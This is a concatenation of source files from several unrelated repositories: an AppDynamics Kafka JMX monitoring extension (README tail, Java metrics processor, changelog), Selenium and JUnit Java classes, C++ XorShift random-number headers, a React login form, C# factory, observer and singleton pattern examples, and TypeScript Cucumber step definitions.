- This extension collects metrics via JMX and can be configured to report any of the metrics that Kafka exposes. It provides metrics on Kafka server, controller and the network.
- In addition, it also provides the JVM metrics:<br/>
`HeapMemoryUsage.committed, HeapMemoryUsage.max, NonHeapMemoryUsage.committed, NonHeapMemoryUsage.max`
- There is also a `HeartBeat` metric under`kafka.server` which denotes whether the connection from the extension to the Kafka server was successful(1 = Successful, 0 = Unsuccessful).
- By default, a Machine agent or a AppServer agent can send a fixed number of metrics to the controller.
To change this limit, please follow the instructions mentioned [here](http://docs.appdynamics.com/display/PRO14S/Metrics+Limits).
## Credentials Encryption
Please visit [this](https://community.appdynamics.com/t5/Knowledge-Base/How-to-use-Password-Encryption-with-Extensions/ta-p/29397) page to get detailed instructions on password encryption. The steps in this document will guide you through the whole process.
## Extensions Workbench
Workbench is an inbuilt feature provided with each extension in order to assist you to fine tune the extension setup before you actually deploy it on the controller. Please review the following
[document](https://community.appdynamics.com/t5/Knowledge-Base/How-to-use-the-Extensions-WorkBench/ta-p/30130) for how to use the Extensions WorkBench
## Troubleshooting
Please follow the steps listed in the [extensions troubleshooting document](https://community.appdynamics.com/t5/Knowledge-Base/How-to-troubleshoot-missing-custom-metrics-or-extensions-metrics/ta-p/28695) in order to troubleshoot your issue.
These are a set of common issues that customers might have faced during the installation of the extension. If these don't solve your issue, please follow the last step on the troubleshooting-document to contact the support team.
## Support Tickets
If after going through the Troubleshooting Document you have not been able to get your extension working, please file a ticket and add the following information.
Please provide the following in order for us to assist you better.
1. Stop the running machine agent
.
2. Delete all existing logs under <MachineAgent>/logs
.
3. Please enable debug logging by editing the file <MachineAgent>/conf/logging/log4j.xml. Change the level value of the following <logger> elements to debug.
```
<logger name="com.singularity">
<logger name="com.appdynamics">
```
4. Start the machine agent and please let it run for 10 mins. Then zip and upload all the logs in the directory <MachineAgent>/logs/*.
5. Attach the zipped <MachineAgent>/conf/* directory here.
6. Attach the zipped <MachineAgent>/monitors/<ExtensionMonitor> directory here
.
For any support related questions, you can also contact <EMAIL>.
## Contributing
Always feel free to fork and contribute any changes directly via [GitHub](https://github.com/Appdynamics/kafka-monitoring-extension).
## Version
| Name | Version |
| :---------------------------| :---------------------------|
| Extension Version: | 2.0.0 |
| Controller Compatibility: | 4.0 or Later |
| Tested On: | Apache Kafka 2.11 |
| Operating System Tested On: | Mac OS |
| Last updated On: | Aug 27, 2018 |
| List of changes to this extension| [Change log](https://github.com/Appdynamics/kafka-monitoring-extension/blob/master/Changelog.md)
<file_sep>/**
* Copyright 2018 AppDynamics, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.appdynamics.extensions.kafka.metrics;
import com.appdynamics.extensions.MetricWriteHelper;
import com.appdynamics.extensions.conf.MonitorContextConfiguration;
import com.appdynamics.extensions.kafka.JMXConnectionAdapter;
import com.appdynamics.extensions.kafka.utils.Constants;
import com.appdynamics.extensions.metrics.Metric;
import com.google.common.base.Strings;
import org.slf4j.LoggerFactory;
import javax.management.*;
import javax.management.openmbean.CompositeData;
import javax.management.openmbean.CompositeDataSupport;
import javax.management.remote.JMXConnector;
import java.io.IOException;
import java.util.*;
public class DomainMetricsProcessor {
static final org.slf4j.Logger logger = LoggerFactory.getLogger(DomainMetricsProcessor.class);
private final JMXConnectionAdapter jmxAdapter;
private final JMXConnector jmxConnection;
private MetricWriteHelper metricWriteHelper;
private String metricPrefix;
private String displayName;
private List<Metric> nodeMetrics = new ArrayList<>();
public DomainMetricsProcessor(MonitorContextConfiguration configuration, JMXConnectionAdapter jmxAdapter,
JMXConnector jmxConnection, String displayName, MetricWriteHelper metricWriteHelper) {
this.jmxAdapter = jmxAdapter;
this.jmxConnection = jmxConnection;
this.metricWriteHelper = metricWriteHelper;
this.metricPrefix = configuration.getMetricPrefix() + Constants.METRIC_SEPARATOR + displayName;
this.displayName = displayName;
}
public void populateMetricsForMBean(Map mbeanFromConfig) {
try {
String objectName = (String) mbeanFromConfig.get(Constants.OBJECTNAME);
List<Map<String, ?>> metricsList = (List<Map<String, ?>>) mbeanFromConfig.get(Constants.METRICS);
logger.debug("Processing mbean {} ", objectName);
List<Metric> finalMetricList = getNodeMetrics(jmxConnection, objectName, metricsList);
logger.debug("Printing metrics for server {}", this.displayName);
metricWriteHelper.transformAndPrintMetrics(finalMetricList);
logger.debug("Finished processing mbean {} ", objectName);
} catch (IntrospectionException | IOException | MalformedObjectNameException
| InstanceNotFoundException | ReflectionException e) {
logger.error("Kafka Monitor error " ,e);
}
}
private List<Metric> getNodeMetrics (JMXConnector jmxConnection, String objectName,
List<Map<String, ?>> metricProperties)
throws IntrospectionException, ReflectionException, InstanceNotFoundException,
IOException, MalformedObjectNameException {
Set<ObjectInstance> objectInstances = this.jmxAdapter.queryMBeans(jmxConnection,
ObjectName.getInstance(objectName));
for (ObjectInstance instance : objectInstances) {
List<String> metricNamesDictionary = this.jmxAdapter.getReadableAttributeNames(jmxConnection, instance);
List<Attribute> attributes =this.jmxAdapter.getAttributes(jmxConnection,
instance.getObjectName(), metricNamesDictionary.toArray(
new String[metricNamesDictionary.size()]));
for(Map<String, ?> metricPropertiesPerMetric : metricProperties) {
collect(attributes, instance, metricPropertiesPerMetric);
}
}
return nodeMetrics;
}
private void collect (List<Attribute> attributes, ObjectInstance instance,
Map<String, ?> metricProperties) {
for (Attribute attribute : attributes) {
try {
if(isCompositeDataObject(attribute)){
Set<String> attributesFound = ((CompositeData)attribute.getValue()).getCompositeType().keySet();
for(String str: attributesFound){
String key = attribute.getName()+ "."+ str;
Object attributeValue = ((CompositeDataSupport) attribute.getValue()).get(str);
if(metricProperties.containsKey(key)){
setMetricDetails(metricPrefix, key, attributeValue, instance,
(Map<String, String>)metricProperties.get(key));
}
}
}
else{
if(metricProperties.containsKey(attribute.getName())) {
setMetricDetails(metricPrefix, attribute.getName(), attribute.getValue(), instance,
(Map<String, String>)metricProperties.get(attribute.getName()));
}
}
} catch (Exception e) {
logger.error("Error collecting value for {} {}", instance.getObjectName(), attribute.getName(), e);
}
}
}
private boolean isCompositeDataObject (Attribute attribute){
return attribute.getValue().getClass().equals(CompositeDataSupport.class);
}
private void setMetricDetails (String metricPrefix, String attributeName, Object attributeValue,
ObjectInstance instance, Map<String, ?> metricPropertiesMap
) {
String metricPath = metricPrefix + Constants.METRIC_SEPARATOR + buildName(instance)+ attributeName;
Metric metric = new Metric(attributeName, attributeValue.toString(), metricPath, metricPropertiesMap);
nodeMetrics.add(metric);
}
private String buildName (ObjectInstance instance) {
ObjectName objectName = instance.getObjectName();
Hashtable<String, String> keyPropertyList = objectName.getKeyPropertyList();
StringBuilder sb = new StringBuilder();
String type = keyPropertyList.get("type");
String name = keyPropertyList.get("name");
sb.append(objectName.getDomain());
if(!Strings.isNullOrEmpty(type)) {
sb.append(Constants.METRIC_SEPARATOR);
sb.append(type);
}
if(!Strings.isNullOrEmpty(name)) {
sb.append(Constants.METRIC_SEPARATOR);
sb.append(name);
}
sb.append(Constants.METRIC_SEPARATOR);
keyPropertyList.remove("type");
keyPropertyList.remove("name");
for (Map.Entry<String, String> entry : keyPropertyList.entrySet()) {
sb.append(entry.getKey()).append(Constants.METRIC_SEPARATOR).append(entry.getValue())
.append(Constants.METRIC_SEPARATOR);
}
return sb.toString();
}
}
<file_sep># AppDynamics Kafka Monitoring Extension CHANGELOG
## 2.0.0 - Aug 8, 2018
1. Moved to 2.0 framework.
2. Added support for SSL
3. Added support for composite metrics
| 53ad0dd02cb589aafcae312f771fc2516ab2bc7b | [
"Markdown",
"Java"
] | 3 | Markdown | dlopes7/kafka-monitoring-extension | b854ca9bd9578335890d34b23c16298d396d3bbc | 0b66aa7428a5f7056d5022bef4094cf6ea15fe14 | |
refs/heads/master | <file_sep>package com.my.selenium.common;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.chrome.ChromeDriver;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.ie.InternetExplorerDriver;
public class WebDriverFactory {
public static WebDriver getDriver(String driverName) throws Exception {
WebDriver driver = null;
if (driverName == null) {
throw new Exception("Driver name missing");
}
switch (driverName) {
case "ch":
// Chromedriver
System.setProperty("webdriver.chrome.driver", "drivers/chromedriver.exe");
driver = new ChromeDriver();
driver.get("http://www.google.com");
driver.manage().window().maximize();
break;
case "fd":
// Firefox driver
System.setProperty("webdriver.gecko.driver", "drivers/geckodriver.exe");
driver = new FirefoxDriver();
driver.get("http://www.google.com");
break;
case "ie":
// IEdriver
System.setProperty("webdriver.ie.driver", "drivers/IEDriverServer.exe");
driver = new InternetExplorerDriver();
driver.get("http://www.google.com");
break;
}
return driver;
}
}
| 8d98aaf6e842dce50ec0e9d60689cd72a8bddfa1 | [
"Java"
] | 1 | Java | skawaleonline/SelIntroduction | 0c7b2ad450b2d9e1297ca6767ecb2c02e0b68506 | ad1de43e89713eeb10845677c8c6c00bf8756a37 | |
refs/heads/master | <file_sep>import org.assertj.core.internal.bytebuddy.asm.Advice;
import org.junit.Ignore;
import org.junit.jupiter.api.*;
import org.junit.jupiter.api.extension.ExtendWith;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.ValueSource;
import org.junit.runner.RunWith;
import org.mockito.Mock;
import org.mockito.Mockito;
import org.mockito.junit.MockitoJUnitRunner;
import org.mockito.junit.jupiter.MockitoExtension;
import java.util.ArrayList;
import java.util.Random;
import java.util.concurrent.TimeUnit;
import static org.assertj.core.api.Assertions.assertThat;
import static org.assertj.core.api.InstanceOfAssertFactories.LOCAL_TIME;
@ExtendWith(MockitoExtension.class)
public class RouletteTest {
Roulette roulette;
ArrayList<Integer> values;
@AfterEach
void cleanUpAfterEach()
{
roulette = null;
}
@BeforeEach
void init()
{
values = new ArrayList<Integer>();
}
@AfterEach
void cleanUpResultsList()
{
values = null;
}
@ParameterizedTest
@Timeout(value = 22000, unit = TimeUnit.MILLISECONDS)
@ValueSource(ints = {3})
void testRouletteSpinsFor20Secs(int randomSeed)
{
long start = System.currentTimeMillis();
roulette = new Roulette(randomSeed);
roulette.spinFor20Seconds();
long end = System.currentTimeMillis();
long duration = end-start;
Assertions.assertTrue(duration>19000);
Assertions.assertFalse(roulette.isSpinning());
}
@ParameterizedTest
@ValueSource(ints = {0, 42})
void testResultIsBetweenBounds(int randomSeed)
{
roulette = new Roulette(randomSeed);
roulette.calculateResult();
int result = roulette.getValue();
Assertions.assertTrue(result>=0);
Assertions.assertTrue(result <= 36);
}
@ParameterizedTest
@ValueSource(ints = {77})
void testResultNotConstant(int randomSeed)
{
ArrayList<Integer> expectedValues = new ArrayList<>();
for (int i=0; i<=36; i++)
{
expectedValues.add(i);
}
Random random = new Random();
int spinNumber = 200000;
int result;
roulette = new Roulette(randomSeed);
for (int j=0; j<spinNumber; j++)
{
roulette.calculateResult();
values.add(roulette.getValue());
}
//With 200 000 iterations, there should be at least one of each value in the results list
assertThat(values).containsOnlyElementsOf(expectedValues).containsAll(expectedValues);
}
@ParameterizedTest
@ValueSource(ints = {-5, 52, 31, 22, 15, 18})
void testColorIsCorrect(int randomSeed)
{
roulette = new Roulette(randomSeed);
roulette.calculateResult();
int result = roulette.getValue();
Assertions.assertTrue((result % 2 == 0 && result != 0 && roulette.getColor() == "Black")
|| (result % 2 == 1 && roulette.getColor() == "Red")
|| (result == 0 && roulette.getColor() == "Green"));
}
}
| 758e546feb637287b101825b3372c8ceef1abf3d | [
"Java"
] | 1 | Java | cecceccu/Lanfranchi_M1DFS_TD_Roulette | 7e6244d307ea7e45f282b463029c5bfb3a64efc7 | 9e3a72c6261898a6e9a4a6261625a90f8e371a62 | |
refs/heads/master | <repo_name>pombredanne/cybozulib<file_sep>/include/cybozu/unordered_map.hpp
#pragma once
#include <cybozu/inttype.hpp>
#if (CYBOZU_CPP_VERSION == CYBOZU_CPP_VERSION_CPP11) || (defined __APPLE__)
#include <unordered_map>
#elif (CYBOZU_CPP_VERSION == CYBOZU_CPP_VERSION_TR1)
#include <list>
#include <tr1/unordered_map>
#endif
<file_sep>/include/cybozu/xorshift.hpp
#pragma once
/**
@file
@brief XorShift
Copyright (C) 2007 Cybozu Labs, Inc., all rights reserved.
@author <NAME>
*/
#include <cybozu/inttype.hpp>
namespace cybozu {
class XorShift {
uint32_t x_, y_, z_, w_;
public:
explicit XorShift(uint32_t x = 0, uint32_t y = 0, uint32_t z = 0, uint32_t w = 0)
{
init(x, y, z, w);
}
void init(uint32_t x = 0, uint32_t y = 0, uint32_t z = 0, uint32_t w = 0)
{
x_ = x ? x : 123456789;
y_ = y ? y : 362436069;
z_ = z ? z : 521288629;
w_ = w ? w : 88675123;
}
uint32_t get32()
{
unsigned int t = x_ ^ (x_ << 11);
x_ = y_; y_ = z_; z_ = w_;
return w_ = (w_ ^ (w_ >> 19)) ^ (t ^ (t >> 8));
}
uint32_t operator()() { return get32(); }
uint64_t get64()
{
uint32_t a = get32();
uint32_t b = get32();
return (uint64_t(a) << 32) | b;
}
template<class T>
void read(T *x, size_t n)
{
const size_t size = sizeof(T) * n;
uint8_t *p8 = static_cast<uint8_t*>(x);
for (size_t i = 0; i < size; i++) {
p8[i] = static_cast<uint8_t>(get32());
}
}
void read(uint32_t *x, size_t n)
{
for (size_t i = 0; i < n; i++) {
x[i] = get32();
}
}
void read(uint64_t *x, size_t n)
{
for (size_t i = 0; i < n; i++) {
x[i] = get64();
}
}
};
// see http://xorshift.di.unimi.it/xorshift128plus.c
class XorShift128Plus {
uint64_t s_[2];
static const uint64_t seed0 = 123456789;
static const uint64_t seed1 = 987654321;
public:
explicit XorShift128Plus(uint64_t s0 = seed0, uint64_t s1 = seed1)
{
init(s0, s1);
}
void init(uint64_t s0 = seed0, uint64_t s1 = seed1)
{
s_[0] = s0;
s_[1] = s1;
}
uint32_t get32()
{
return static_cast<uint32_t>(get64());
}
uint32_t operator()() { return get32(); }
uint64_t get64()
{
uint64_t s1 = s_[0];
const uint64_t s0 = s_[1];
s_[0] = s0;
s1 ^= s1 << 23;
s_[1] = s1 ^ s0 ^ (s1 >> 18) ^ (s0 >> 5);
return s_[1] + s0;
}
template<class T>
void read(T *x, size_t n)
{
const size_t size = sizeof(T) * n;
uint8_t *p8 = static_cast<uint8_t*>(x);
for (size_t i = 0; i < size; i++) {
p8[i] = static_cast<uint8_t>(get32());
}
}
void read(uint32_t *x, size_t n)
{
for (size_t i = 0; i < n; i++) {
x[i] = get32();
}
}
void read(uint64_t *x, size_t n)
{
for (size_t i = 0; i < n; i++) {
x[i] = get64();
}
}
};
} // cybozu
| 1734c525511f7fb6c8656fbde7f659ddefb1f0de | [
"C++"
] | 2 | C++ | pombredanne/cybozulib | 63dac8bd2a335ffd5b86cf4e35d1376973581e49 | 6ecbbb944b1d4a5b550c67815e88b1e9a42c7f27 | |
refs/heads/main | <repo_name>SRIHARI0405/ReactLoginForm<file_sep>/LoginForms.js
import React from "react";
import './stylesheet.css'
export default class LoginForms extends React.Component {
render() {
return (
<div>
<center><h1>LOGIN FORM</h1></center>
<div className="container">
<div className="form-box">
<div className="header-form">
<h4 className="text-primary text-center"><i className="fa fa-user-circle" style={{ fontSize: "110px" }}></i></h4>
<div className="image">
</div>
</div>
<div className="body-form">
<form>
<div className="input-group mb-3">
<div className="input-group-prepend">
<span className="input-group-text"><i class="fa fa-user"></i></span>
</div>
USERNAME: <input type="text" className="form-control" placeholder="Username" />
</div>
<div className="input-group mb-3">
<div className="input-group-prepend">
<span className="input-group-text"><i class="fa fa-lock"></i></span>
</div>
PASSWORD:<input type="text" className="form-control" placeholder="<PASSWORD>" />
</div>
<button type="button" className="btn btn-secondary btn-block" style={{ padding: 10, margin: 0, top: 50 }}>LOGIN</button>
<div className="message">
<div><input type="checkbox" /> Remember ME</div>
<div><a href="#">Forgot your password</a></div>
</div>
</form>
</div>
</div>
</div>
</div>
)
}
}
| e0e9b92ca9b3661f28c52c650fc10841a2312b59 | [
"JavaScript"
] | 1 | JavaScript | SRIHARI0405/ReactLoginForm | f02aa78fa5268b8a3db76cb86c5ff2776aa86d27 | 24b07b0c4b838f0a80e771b0108fbba9da322da7 | |
refs/heads/master | <repo_name>zhufeng19940210/zf_tantou<file_sep>/TanTou/TanTou/Library/SDWebImage/FLAnimatedImage/.svn/text-base/FLAnimatedImageView+WebCache.h.svn-base
///*
// * This file is part of the SDWebImage package.
// * (c) <NAME> <<EMAIL>>
// *
// * For the full copyright and license information, please view the LICENSE
// * file that was distributed with this source code.
// */
//
//#import "SDWebImageCompat.h"
//
//#if SD_UIKIT
//
//#if COCOAPODS
//@import FLAnimatedImage;
//#else
//#import "FLAnimatedImageView.h"
//#endif
//
//#import "SDWebImageManager.h"
//
//
///**
// * A category for the FLAnimatedImage imageView class that hooks it to the SDWebImage system.
// * Very similar to the base class category (UIImageView (WebCache))
// */
//@interface FLAnimatedImageView (WebCache)
//
///**
// * Load the image at the given url (either from cache or download) and load it in this imageView. It works with both static and dynamic images
// * The download is asynchronous and cached.
// *
// * @param url The url for the image.
// */
//- (void)sd_setImageWithURL:(nullable NSURL *)url;
//
///**
// * Load the image at the given url (either from cache or download) and load it in this imageView. It works with both static and dynamic images
// * The download is asynchronous and cached.
// * Uses a placeholder until the request finishes.
// *
// * @param url The url for the image.
// * @param placeholder The image to be set initially, until the image request finishes.
// */
//- (void)sd_setImageWithURL:(nullable NSURL *)url
// placeholderImage:(nullable UIImage *)placeholder;
//
///**
// * Load the image at the given url (either from cache or download) and load it in this imageView. It works with both static and dynamic images
// * The download is asynchronous and cached.
// * Uses a placeholder until the request finishes.
// *
// * @param url The url for the image.
// * @param placeholder The image to be set initially, until the image request finishes.
// * @param options The options to use when downloading the image. @see SDWebImageOptions for the possible values.
// */
//- (void)sd_setImageWithURL:(nullable NSURL *)url
// placeholderImage:(nullable UIImage *)placeholder
// options:(SDWebImageOptions)options;
//
///**
// * Load the image at the given url (either from cache or download) and load it in this imageView. It works with both static and dynamic images
// * The download is asynchronous and cached.
// *
// * @param url The url for the image.
// * @param completedBlock A block called when operation has been completed. This block has no return value
// * and takes the requested UIImage as first parameter. In case of error the image parameter
// * is nil and the second parameter may contain an NSError. The third parameter is a Boolean
// * indicating if the image was retrieved from the local cache or from the network.
// * The fourth parameter is the original image url.
// */
//- (void)sd_setImageWithURL:(nullable NSURL *)url
// completed:(nullable SDExternalCompletionBlock)completedBlock;
//
///**
// * Load the image at the given url (either from cache or download) and load it in this imageView. It works with both static and dynamic images
// * The download is asynchronous and cached.
// * Uses a placeholder until the request finishes.
// *
// * @param url The url for the image.
// * @param placeholder The image to be set initially, until the image request finishes.
// * @param completedBlock A block called when operation has been completed. This block has no return value
// * and takes the requested UIImage as first parameter. In case of error the image parameter
// * is nil and the second parameter may contain an NSError. The third parameter is a Boolean
// * indicating if the image was retrieved from the local cache or from the network.
// * The fourth parameter is the original image url.
// */
//- (void)sd_setImageWithURL:(nullable NSURL *)url
// placeholderImage:(nullable UIImage *)placeholder
// completed:(nullable SDExternalCompletionBlock)completedBlock;
//
///**
// * Load the image at the given url (either from cache or download) and load it in this imageView. It works with both static and dynamic images
// * The download is asynchronous and cached.
// * Uses a placeholder until the request finishes.
// *
// * @param url The url for the image.
// * @param placeholder The image to be set initially, until the image request finishes.
// * @param options The options to use when downloading the image. @see SDWebImageOptions for the possible values.
// * @param completedBlock A block called when operation has been completed. This block has no return value
// * and takes the requested UIImage as first parameter. In case of error the image parameter
// * is nil and the second parameter may contain an NSError. The third parameter is a Boolean
// * indicating if the image was retrieved from the local cache or from the network.
// * The fourth parameter is the original image url.
// */
//- (void)sd_setImageWithURL:(nullable NSURL *)url
// placeholderImage:(nullable UIImage *)placeholder
// options:(SDWebImageOptions)options
// completed:(nullable SDExternalCompletionBlock)completedBlock;
//
///**
// * Load the image at the given url (either from cache or download) and load it in this imageView. It works with both static and dynamic images
// * The download is asynchronous and cached.
// * Uses a placeholder until the request finishes.
// *
// * @param url The url for the image.
// * @param placeholder The image to be set initially, until the image request finishes.
// * @param options The options to use when downloading the image. @see SDWebImageOptions for the possible values.
// * @param progressBlock A block called while image is downloading
// * @note the progress block is executed on a background queue
// * @param completedBlock A block called when operation has been completed. This block has no return value
// * and takes the requested UIImage as first parameter. In case of error the image parameter
// * is nil and the second parameter may contain an NSError. The third parameter is a Boolean
// * indicating if the image was retrieved from the local cache or from the network.
// * The fourth parameter is the original image url.
// */
//- (void)sd_setImageWithURL:(nullable NSURL *)url
// placeholderImage:(nullable UIImage *)placeholder
// options:(SDWebImageOptions)options
// progress:(nullable SDWebImageDownloaderProgressBlock)progressBlock
// completed:(nullable SDExternalCompletionBlock)completedBlock;
//
//@end
//
//#endif
<file_sep>/README.md
# zf_tantou
测试项目
| 7a3c8f9a80543763d88621e647166e007dccddfc | [
"Markdown",
"C"
] | 2 | C | zhufeng19940210/zf_tantou | ef071d01c263ba3228df115cdfe612a15dd16a50 | 16c504ee5bc5eceea18436fd42846419c595bd89 | |
refs/heads/master | <repo_name>tarr3ga/Design-Patterns<file_sep>/FactoryPattern/NYStyleCheesePizza.cs
namespace FactoryPattern
{
class NYStyleCheesePizza : Pizza
{
public NYStyleCheesePizza()
{
this.type = "New York style cheese pizza";
this.dough = "Thin crust dough";
this.sauce = "Marinara sauce";
this.toppings.Add("Cheese");
this.prepare();
this.bake();
this.cut();
this.box();
}
}
}
<file_sep>/FactoryPattern/ChicagoStyleCheesePizza.cs
namespace FactoryPattern
{
class ChicagoStyleCheesePizza : Pizza
{
public ChicagoStyleCheesePizza()
{
this.type = "Chicago style pepperoni pizza";
this.dough = "Deep diah crust dough";
this.sauce = "Plum tomato sauce";
this.toppings.Add("Cheese");
this.prepare();
this.bake();
this.cut();
this.box();
}
}
}
<file_sep>/FactoryPattern/ChicagoPizzaStore.cs
namespace FactoryPattern
{
class ChicagoPizzaStore : PizzaStore
{
protected override Pizza createPizza(string item)
{
if (item.Equals("Cheese"))
return new ChicagoStyleCheesePizza();
else if (item.Equals("Supreme"))
return new ChicagoStyleSupremePizza();
else return null;
}
}
}
<file_sep>/FactoryPattern/NYStylePepperoniPizza.cs
namespace FactoryPattern
{
class NYStylePepperoniPizza : Pizza
{
public NYStylePepperoniPizza()
{
this.type = "New York style pepperoni pizza";
this.dough = "Thin crust dough";
this.sauce = "Marinara sauce";
this.toppings.Add("Cheese");
this.toppings.Add("Pepperoni");
this.prepare();
this.bake();
this.cut();
this.box();
}
}
}
<file_sep>/ObserverPattern/IObserver.cs
namespace ObserverPattern
{
public interface IObserver
{
void update(int temp, int humidity, int pressure);
}
}
<file_sep>/ObserverPattern/WeatherData.cs
using System.Collections.Generic;
namespace ObserverPattern
{
public class WeatherData : ISubject
{
private List<IObserver> observers = new List<IObserver>();
private int temperature;
private int humidity;
private int pressure;
public int Temperature { get => temperature; set => temperature = value; }
public int Humidity { get => humidity; set => humidity = value; }
public int Pressure { get => pressure; set => pressure = value; }
public WeatherData()
{
}
public WeatherData(int temperature, int humidity, int pressure)
{
this.temperature = temperature;
this.humidity = humidity;
this.pressure = pressure;
measurmentsChanged();
}
public void setMeasurements(int temperature, int humidity, int pressure)
{
this.temperature = temperature;
this.humidity = humidity;
this.pressure = pressure;
measurmentsChanged();
}
public void measurmentsChanged()
{
notifyObserver();
}
public void registerObserver(IObserver o)
{
observers.Add(o);
}
public void removeObserver(IObserver o)
{
int i = observers.IndexOf(o);
if (i >= 0)
observers.RemoveAt(i);
}
public void notifyObserver()
{
foreach(IObserver o in observers)
{
o.update(temperature, humidity, pressure);
}
}
}
}
<file_sep>/FactoryPattern/ChicagoStyleSupremePizza.cs
namespace FactoryPattern
{
class ChicagoStyleSupremePizza : Pizza
{
public ChicagoStyleSupremePizza()
{
this.type = "Chicago style supreme pizza";
this.dough = "Deep diah crust dough";
this.sauce = "Plum tomato sauce";
this.toppings.Add("Cheese");
this.toppings.Add("Peperoni");
this.toppings.Add("Sauage");
this.toppings.Add("Mushrooms");
this.toppings.Add("Green peppers");
this.toppings.Add("Black Olives");
this.prepare();
this.bake();
this.cut();
this.box();
}
}
}
<file_sep>/ObserverPattern/Program.cs
namespace ObserverPattern
{
class Program
{
static void Main(string[] args)
{
WeatherData data = new WeatherData();
CurrentConditions current = new CurrentConditions(data);
Forecast forecast = new Forecast(data);
Statitstics statistics = new Statitstics(data);
data.setMeasurements(75, 54, 2);
data.setMeasurements(80, 48, 3);
data.setMeasurements(65, 40, 2);
}
}
}
<file_sep>/FactoryPattern/NYStyleClamPizza.cs
namespace FactoryPattern
{
class NYStyleClamPizza : Pizza
{
public NYStyleClamPizza()
{
this.type = "New York style clam pizza";
this.dough = "Thin crust dough";
this.sauce = "Fish sauce";
this.toppings.Add("Cheese");
this.toppings.Add("Clams");
this.toppings.Add("More clams");
this.prepare();
this.bake();
this.cut();
this.box();
}
}
}
<file_sep>/FactoryPattern/Pizza.cs
using System;
using System.Collections.Generic;
namespace FactoryPattern
{
public abstract class Pizza
{
protected string type;
protected string dough;
protected string sauce;
protected List<string> toppings = new List<string>();
public Pizza createPizza(string type)
{
this.type = type;
return this;
}
public void prepare() {
Console.WriteLine("Preparing " + type);
Console.WriteLine("Tossing dough...");
Console.WriteLine("Adding " + sauce + " sauce...");
Console.WriteLine("Adding toppings...");
foreach(string s in toppings)
{
Console.WriteLine(s);
}
}
public void bake() {
Console.WriteLine("Baking for 20 minutes at 350...");
}
public void cut() {
Console.WriteLine("Cutting pizza...");
}
public void box() {
Console.WriteLine("Boxing pizza...");
Console.WriteLine("");
}
}
}
<file_sep>/FactoryPattern/Program.cs
namespace FactoryPattern
{
class Program
{
static void Main(string[] args)
{
PizzaStore myStore = new NYPizzaStore();
myStore.orderPizza("Pepperoni");
myStore = new ChicagoPizzaStore();
myStore.orderPizza("Supreme");
}
}
}
<file_sep>/FactoryPattern/NYStyleVeggiePizza.cs
namespace FactoryPattern
{
class NYStyleVeggiePizza : Pizza
{
public NYStyleVeggiePizza()
{
this.type = "New York style veggie pizza";
this.dough = "Thin crust dough";
this.sauce = "Marinara sauce";
this.toppings.Add("Cheese");
this.toppings.Add("Tomatoes");
this.toppings.Add("Cucumber");
this.toppings.Add("Olives");
this.toppings.Add("Eggpant");
this.toppings.Add("Feta Cheese");
this.prepare();
this.bake();
this.cut();
this.box();
}
}
}
<file_sep>/SingletonPattern/Program.cs
using System;
namespace SingletonPattern
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Hello World!");
}
}
public sealed class SampleSingleton : IDisposable
{
private bool _disposed;
public static volatile SampleSingleton _instance;
public static readonly object _synLock = new object();
private SampleSingleton()
{
}
public static SampleSingleton Instance
{
get
{
if (Instance != null)
return _instance;
lock (_synLock)
{
if(_instance == null)
{
_instance = new SampleSingleton();
}
}
return _instance;
}
}
public int SomeValue { get; set; }
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
private void Dispose(bool disposing)
{
if (_disposed)
return;
if (disposing)
{
_instance = null;
}
}
}
}
<file_sep>/ObserverPattern/Displays/Forecast.cs
using System;
using System.Collections.Generic;
using System.Text;
namespace ObserverPattern
{
class Forecast : IObserver, IDisplayElement
{
private int temperature;
private int humidity;
private ISubject weatherData;
public Forecast(ISubject weatherData)
{
this.weatherData = weatherData;
weatherData.registerObserver(this);
}
public void display()
{
Console.WriteLine("Forcast: " + temperature + "F Degrees and " + humidity + "% Humidity");
}
public void update(int temp, int humidity, int pressure)
{
this.temperature = temp;
this.humidity = humidity;
display();
}
}
}
| dbca2c135fab5f9ce6d04f2685b3f376a22e7881 | [
"C#"
] | 14 | C# | tarr3ga/Design-Patterns | 4d28946122d57ea7bee8a693a99453e1b71b582c | 31cc014bef5b3b977c48e87d75d25093718b329d | |
refs/heads/master | <repo_name>anggastika/typescript-webdriverIO-appium-cucumber<file_sep>/src/test-layer/step_definitions/common_steps.ts
import { expect } from 'chai';
import { defineSupportCode } from 'cucumber';
import { Messages } from '../../support/enums/messages';
import { utils } from '../../support/objects/elements-utils/elements-util';
import { LU } from '../../support/objects/elements-utils/locators-util';
import { BaseView } from '../../support/objects/views/base-view';
const baseView = new BaseView();
defineSupportCode(({ Given, When, Then }) => {
/*
When(/I launch '(.+)'/, async (activityName) => {
await utils.launch(activityName);
});
*/
When(/I set '(.+)' location on device/, async (locationName) => {
await utils.setGeoLocation(locationName);
});
When(/I launch application and skip dialog panels/, async () => {
const dialogPanel = baseView.getContainer('dialog panel');
await dialogPanel.continueLocationAlert();
await dialogPanel.denyPermissions();
});
When(/I wait the (main|favorites|settings) view is loaded/, async (pageName) => {
await baseView.getContainer(`${pageName} view`).isViewFullyLoaded();
});
When(/I click on '(.+)'/, async (elementName) => {
await baseView.currentContainer.clickOnElement(elementName);
});
When(/I fill '(.+)' with '(.+)'/, async (elementName, valueToFill) => {
await baseView.currentContainer.fillElement(elementName, valueToFill);
});
Then(/'(.+)' elements should be '(.+)'/, async (elementsName, expectedCount) => {
const actualCount = await baseView.currentContainer.getElementsCount(elementsName);
expect(actualCount).to.equal(+expectedCount);
});
Then(/the '(.+)' should be (invisible|visible) within (main view|favorites view|setting view|dialog panel)/,
async (elementName, expectedVisibility, containerName) => {
const expectedState = expectedVisibility === 'visible';
const actualState = await baseView.getContainer(containerName).isElementVisible(elementName, 6000);
expect(actualState).to.equal(expectedState);
});
Then(/element(?:s|) (?:are|is) (invisible|visible) on current container:/, async (expectedVisibility, elements) => {
const expectedState = expectedVisibility === 'visible',
waitDuring = expectedState ? 10000 : 5000 ;
